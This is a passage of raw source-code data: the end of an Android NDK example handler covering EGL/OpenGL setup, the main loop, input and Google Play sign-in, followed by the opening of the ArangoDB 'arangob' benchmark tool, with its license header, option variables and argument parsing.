Save!\";\n\t\tAndroid::AppState::UpdateState( 1, state, sizeof( state ) );\n\t\tAndroid::AppState::LoadState( 1, &m_StateListener );\n\t}\n\n\tvirtual void OnSignInFailed()\n\t{\n\t\tLOGE( \"Sign in failed.\" );\n\t}\n\n\tSignInListener() { }\n\tvirtual ~SignInListener() { }\n};\n\nExampleAndroidHandler::ExampleAndroidHandler()\n{\n\t\/\/ State variables\n\tm_bShouldQuit \t= false;\n\tm_bIsVisible \t= false;\n\tm_bIsPaused\t\t= true;\n\n\t\/\/ Egl\n\tm_Display = EGL_NO_DISPLAY;\n\tm_Surface = EGL_NO_SURFACE;\n\tm_Context = NULL;\n}\n\nExampleAndroidHandler::~ExampleAndroidHandler()\n{\n\tDestroyOpenGL();\n}\n\nvoid ExampleAndroidHandler::Run()\n{\n\tSignInListener signInListener;\n\tAndroid::GooglePlayServices::SetSignInListener( &signInListener );\n\n\t\/\/ Example asset read\n\tAndroid::Asset* pAsset = Android::GetAssetManager().GetAsset( \"test.txt\" );\n\tif ( pAsset )\n\t{\n\t\t\/\/ Create a buffer to read the content into,\n\t\t\/\/ [ Size() + 1 ] for null terminator character for LOG usage\n\t\tchar* pBuffer = new char[ pAsset->Size() + 1 ];\n\n\t\t\/\/ Read the buffer\n\t\tpAsset->Read( pBuffer, pAsset->Size() );\n\n\t\t\/\/ Set null terminating for LOG\n\t\tpBuffer[ pAsset->Size() ] = 0;\n\n\t\t\/\/ Delete the asset file\n\t\tdelete pAsset;\n\n\t\t\/\/ Show us the file's content!\n\t\tLOGV( \"[Example]: File content: %s\", pBuffer );\n\n\t\t\/\/ Delete the buffer\n\t\tdelete [] pBuffer;\n\t}\n\n\t\/\/ Create time measurement\n\ttimespec timeNow;\n\tclock_gettime( CLOCK_MONOTONIC, &timeNow );\n\tuint64_t uPreviousTime = timeNow.tv_sec * 1000000000ull + timeNow.tv_nsec;\n\n\t\/\/ Connect to Google Play\n\tAndroid::GooglePlayServices::SignIn();\n\n\t\/\/ While application is alive...\n\twhile ( !m_bShouldQuit )\n\t{\n\t\t\/\/ Handle Android events\n\t\tAndroid::PollEvents();\n\n\t\t\/\/ Calculate delta time\n\t\tclock_gettime( CLOCK_MONOTONIC, &timeNow ); \/\/ query time now\n\t\tuint64_t uNowNano = timeNow.tv_sec * 1000000000ull + timeNow.tv_nsec; \/\/ get time in nanoseconds\n\t\tfloat fDeltaSeconds = float( uNowNano - uPreviousTime ) * 0.000000001f; \/\/ 1 second = 1,000,000,000 nanoseconds\n\t\tuPreviousTime = uNowNano; \/\/ set previous time to new time\n\n\t\t\/\/ If not paused...\n\t\tif ( !m_bIsPaused )\n\t\t{\n\t\t\t\/\/ Update logic\n\t\t\tUpdate( fDeltaSeconds );\n\t\t}\n\n\t\t\/\/ If visible\n\t\tif ( m_bIsVisible )\n\t\t{\n\t\t\t\/\/ Draw\n\t\t\tDraw();\n\t\t}\n\n\t}\n\n\tLOGV( \"[Example]: Mainloop terminated.\" );\n}\n\nvoid ExampleAndroidHandler::Update( float fDeltaSeconds )\n{\n\t\/\/ Do stuff here\n}\n\nvoid ExampleAndroidHandler::Draw()\n{\n\t\/\/ Draw things here\n\tglClearColor( 0.0f, 0.0f, 1.0f, 1.0f );\n\tglClear( GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT );\n\n\tif ( !eglSwapBuffers( m_Display, m_Surface ) )\n\t{\n\t\tLOGE( \"[Example]: eglSwapBuffers() returned error %d\", eglGetError() );\n\t}\n}\n\nbool ExampleAndroidHandler::InitOpenGL()\n{\n\tconst EGLint attribs[] =\n\t{\n\t\tEGL_SURFACE_TYPE, EGL_WINDOW_BIT,\n\t\tEGL_BLUE_SIZE, 8,\n\t\tEGL_GREEN_SIZE, 8,\n\t\tEGL_RED_SIZE, 8,\n\t\tEGL_NONE\n\t};\n\n\tEGLDisplay display;\n\tEGLConfig config;\n\tEGLint numConfigs;\n\tEGLint format;\n\tEGLSurface surface;\n\tEGLContext context;\n\tEGLint width;\n\tEGLint height;\n\tGLfloat ratio;\n\n\tLOGV( \"[Example]: Initializing context\" );\n\n\tif ( ( display = eglGetDisplay( EGL_DEFAULT_DISPLAY ) ) == EGL_NO_DISPLAY )\n\t{\n\t\tLOGE( \"[Example]: eglGetDisplay() returned error %d\", eglGetError() );\n\t\treturn false;\n\t}\n\n\tif ( !eglInitialize( display, 0, 0 ) )\n\t{\n\t\tLOGE( \"[Example]: eglInitialize() returned error %d\", eglGetError() );\n\t\treturn false;\n\t}\n\n\tif ( !eglChooseConfig(display, attribs, &config, 1, &numConfigs) )\n\t{\n\t\tLOGE( \"[Example]: eglChooseConfig() returned error %d\", eglGetError() );\n\t\tDestroyOpenGL();\n\t\treturn false;\n\t}\n\n\tif ( !eglGetConfigAttrib(display, config, EGL_NATIVE_VISUAL_ID, &format) )\n\t{\n\t\tLOGE( \"[Example]: eglGetConfigAttrib() returned error %d\", eglGetError() );\n\t\tDestroyOpenGL();\n\t\treturn false;\n\t}\n\n\t\/\/ Set buffer geometry using our window which is saved in Android\n\tANativeWindow_setBuffersGeometry( Android::GetWindow(), 0, 0, format );\n\n\tif ( !( surface = eglCreateWindowSurface( display, config, Android::GetWindow(), 0 ) ) )\n\t{\n\t\tLOGE( \"[Example]: eglCreateWindowSurface() returned error %d\", eglGetError() );\n\t\tDestroyOpenGL();\n\t\treturn false;\n\t}\n\n\tif ( !( context = eglCreateContext( display, config, 0, 0 ) ) )\n\t{\n\t\tLOGE( \"[Example]: eglCreateContext() returned error %d\", eglGetError() );\n\t\tDestroyOpenGL();\n\t\treturn false;\n\t}\n\n\tif ( !eglMakeCurrent(display, surface, surface, context ) )\n\t{\n\t\tLOGE( \"[Example]: eglMakeCurrent() returned error %d\", eglGetError() );\n\t\tDestroyOpenGL();\n\t\treturn false;\n\t}\n\n\tif ( !eglQuerySurface( display, surface, EGL_WIDTH, &width ) ||\n\t\t!eglQuerySurface( display, surface, EGL_HEIGHT, &height ) )\n\t{\n\t\tLOGE( \"[Example]: eglQuerySurface() returned error %d\", eglGetError() );\n\t\tDestroyOpenGL();\n\t\treturn false;\n\t}\n\n\tm_Display = display;\n\tm_Surface = surface;\n\tm_Context = context;\n\n\tglDisable( GL_DITHER );\n\tglHint( GL_PERSPECTIVE_CORRECTION_HINT, GL_FASTEST );\n\tglClearColor(0, 0, 0, 0);\n\tglEnable( GL_CULL_FACE );\n\tglEnable( GL_DEPTH_TEST );\n\n\treturn true;\n}\n\nvoid ExampleAndroidHandler::DestroyOpenGL()\n{\n\tif ( m_Display )\n\t{\n\t\tLOGV( \"[Example]: Shutting down OpenGL\" );\n\n\t\teglMakeCurrent( m_Display, EGL_NO_SURFACE, EGL_NO_SURFACE, EGL_NO_CONTEXT );\n\t\teglDestroyContext( m_Display, m_Context );\n\t\teglDestroySurface( m_Display, m_Surface);\n\t\teglTerminate( m_Display );\n\n\t\tm_Display = EGL_NO_DISPLAY;\n\t\tm_Surface = EGL_NO_SURFACE;\n\t\tm_Context = NULL;\n\t}\n}\n\n\/\/ Application\nvoid ExampleAndroidHandler::OnShutdown()\n{\n\tLOGV( \"[Example]: Shutting down!\" );\n\tm_bShouldQuit = true;\n}\n\n\/\/ Surface\nvoid ExampleAndroidHandler::OnSurfaceCreated()\n{\n\tLOGV( \"[Example]: Creating surface!\" );\n\tif ( InitOpenGL() == false )\n\t{\n\t\tm_bShouldQuit = true;\n\t}\n}\n\nvoid ExampleAndroidHandler::OnSurfaceChanged( int iPixelFormat, int iWidth, int iHeight )\n{\n\tLOGV( \"[Example]: Setting viewports!\" );\n\n\t\/\/ Set new viewport\n\tglViewport( 0, 0, iWidth, iHeight );\n}\n\nvoid ExampleAndroidHandler::OnSurfaceDestroyed()\n{\n\tLOGV( \"[Example]: Destroying egl!\" );\n\tDestroyOpenGL();\n}\n\n\/\/ States\nvoid ExampleAndroidHandler::OnPause()\n{\n\tAndroid::Notification notification;\n\tnotification.SetContentTitle( \"New Test Title\" );\n\tnotification.SetContentText( \"Test Content\" );\n\tnotification.SetSmallIcon( 0x7f020000 );\n\n\tAndroid::GetNotificationManager().Notify( 500, notification );\n\n\tLOGV( \"[Example]: Paused!\" );\n\tm_bIsPaused = true;\n}\n\nvoid ExampleAndroidHandler::OnResume()\n{\n\tLOGV( \"[Example]: Resumed!\" );\n\tm_bIsPaused = false;\n}\n\nvoid ExampleAndroidHandler::OnVisible()\n{\n\tLOGV( \"[Example]: Visible!\" );\n\tm_bIsVisible = true;\n}\n\nvoid ExampleAndroidHandler::OnHidden()\n{\n\tLOGV( \"[Example]: Hidden!\" );\n\tm_bIsVisible = false;\n\t\/\/Android::GooglePlayServices::SignOut();\n}\n\nvoid ExampleAndroidHandler::OnLowMemory()\n{\n\tLOGV( \"[Example]: Clearing some memory to stay alive...\" );\n\n\t\/\/ BigMemoryObject->Release();\n}\n\n\/\/ Input\nvoid ExampleAndroidHandler::OnKey( int iKeyCode, wchar_t iUnicodeChar )\n{\n\tLOGV( \"[Example]: Got key! %i %c\", iKeyCode, iUnicodeChar );\n\n\n}\n\nvoid ExampleAndroidHandler::OnTouch( int iPointerID, float fPosX, float fPosY, int iAction )\n{\n\t\/\/LOGV( \"[Example]: Touch: %i, x: %f y:, %f action:, %i.\", iPointerID, fPosX, fPosY, iAction );\n\n\tif ( iAction == 0 )\n\t{\n\t\t\/\/ On touch start show keyboard!\n\t\tAndroid::ShowKeyboard();\n\t\tAndroid::GooglePlayServices::SignIn();\n\t\t\/\/Android::GoogleGames::SubmitScore( \"CgkIp8rf-fkTEAIQCQ\", 1337 );\n\t\t\/\/Android::GoogleGames::UnlockAchievement( \"CgkIp8rf-fkTEAIQAw\" );\n\t}\n\n\telse if ( iAction == 1 )\n\t{\n\t\t\/\/ On touch up, hide keyboard...\n\t\tAndroid::HideKeyboard();\n\t\t\/\/Android::GooglePlayServices::ShowAlert( \"Test Alert!\", \"Test\" );\n\t\t\/\/Android::GoogleGames::ShowAllLeaderboards();\n\t\t\/\/Android::GoogleGames::ShowAchievements();\n\n\t}\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief arango benchmark tool\n\/\/\/\n\/\/\/ @file\n\/\/\/\n\/\/\/ DISCLAIMER\n\/\/\/\n\/\/\/ Copyright 2004-2013 triAGENS GmbH, Cologne, Germany\n\/\/\/\n\/\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/\/ you may not use this file except in compliance with the License.\n\/\/\/ You may obtain a copy of the License at\n\/\/\/\n\/\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\/\n\/\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/\/ See the License for the specific language governing permissions and\n\/\/\/ limitations under the License.\n\/\/\/\n\/\/\/ Copyright holder is triAGENS GmbH, Cologne, Germany\n\/\/\/\n\/\/\/ @author Dr. Frank Celler\n\/\/\/ @author Copyright 2011-2013, triAGENS GmbH, Cologne, Germany\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"BasicsC\/common.h\"\n\n#include <stdio.h>\n#include <iomanip>\n\n#include \"ArangoShell\/ArangoClient.h\"\n#include \"Basics\/Mutex.h\"\n#include \"Basics\/MutexLocker.h\"\n#include \"Basics\/ProgramOptions.h\"\n#include \"Basics\/ProgramOptionsDescription.h\"\n#include \"Basics\/StringUtils.h\"\n#include \"BasicsC\/init.h\"\n#include \"BasicsC\/logging.h\"\n#include \"BasicsC\/tri-strings.h\"\n#include \"BasicsC\/string-buffer.h\"\n#include \"BasicsC\/terminal-utils.h\"\n#include \"Logger\/Logger.h\"\n#include \"Rest\/Endpoint.h\"\n#include \"Rest\/HttpRequest.h\"\n#include \"Rest\/InitialiseRest.h\"\n#include \"SimpleHttpClient\/SimpleHttpClient.h\"\n#include \"SimpleHttpClient\/SimpleHttpResult.h\"\n#include \"Benchmark\/BenchmarkCounter.h\"\n#include \"Benchmark\/BenchmarkOperation.h\"\n#include \"Benchmark\/BenchmarkThread.h\"\n\n\nusing namespace std;\nusing namespace triagens::basics;\nusing namespace triagens::httpclient;\nusing namespace triagens::rest;\nusing namespace triagens::arango;\nusing namespace triagens::arangob;\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ --SECTION-- private variables\n\/\/ -----------------------------------------------------------------------------\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @addtogroup Benchmark\n\/\/\/ @{\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief base class for clients\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nArangoClient BaseClient;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief started counter\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic volatile int Started = 0;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief mutex for start counter\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nMutex StartMutex;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief send asychronous requests\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic bool Async = false;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief number of operations in one batch\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic int BatchSize = 0;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief collection to use\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic string Collection = \"ArangoBenchmark\";\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief complexity parameter for tests\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic uint64_t Complexity = 1;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief concurrency\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic int Concurrency = 1;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief use a startup delay\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic bool Delay = false;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief use HTTP keep-alive\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic bool KeepAlive = true;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief number of operations to perform\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic int Operations = 1000;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief display progress\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic bool Progress = true;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief test case to use\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic string TestCase = \"version\";\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief includes all the test cases\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"Benchmark\/test-cases.h\"\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ --SECTION-- private functions\n\/\/ -----------------------------------------------------------------------------\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @addtogroup Benchmark\n\/\/\/ @{\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief update the number of ready threads. this is a callback function\n\/\/\/ that is called by each thread after it is created\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic void UpdateStartCounter () {\n MUTEX_LOCKER(StartMutex);\n ++Started;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief get the value of the number of started threads counter\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic int GetStartCounter () {\n MUTEX_LOCKER(StartMutex);\n return Started;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief print a status line (if ! quiet)\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic void Status (const string& value) {\n if (! BaseClient.quiet()) {\n cout << value << endl;\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief parses the program options\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic void ParseProgramOptions (int argc, char* argv[]) {\n ProgramOptionsDescription description(\"STANDARD options\");\n\n description\n (\"async\", &Async, \"send asychronous requests\")\n (\"concurrency\", &Concurrency, \"number of parallel connections\")\n (\"requests\", &Operations, \"total number of operations\")\n (\"batch-size\", &BatchSize, \"number of operations in one batch (0 disables batching\")\n (\"keep-alive\", &KeepAlive, \"use HTTP keep-alive\")\n (\"collection\", &Collection, \"collection name to use in tests\")\n (\"test-case\", &TestCase, \"test case to use\")\n (\"complexity\", &Complexity, \"complexity parameter for the test\")\n (\"delay\", &Delay, \"use a startup delay (necessary only when run in series)\")\n (\"progress\", &Progress, \"show progress\")\n ;\n\n BaseClient.setupGeneral(description);\n BaseClient.setupServer(description);\n\n vector<string> arguments;\n description.arguments(&arguments);\n\n ProgramOptions options;\n BaseClient.parse(options, description, argc, argv, \"arangob.conf\");\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ 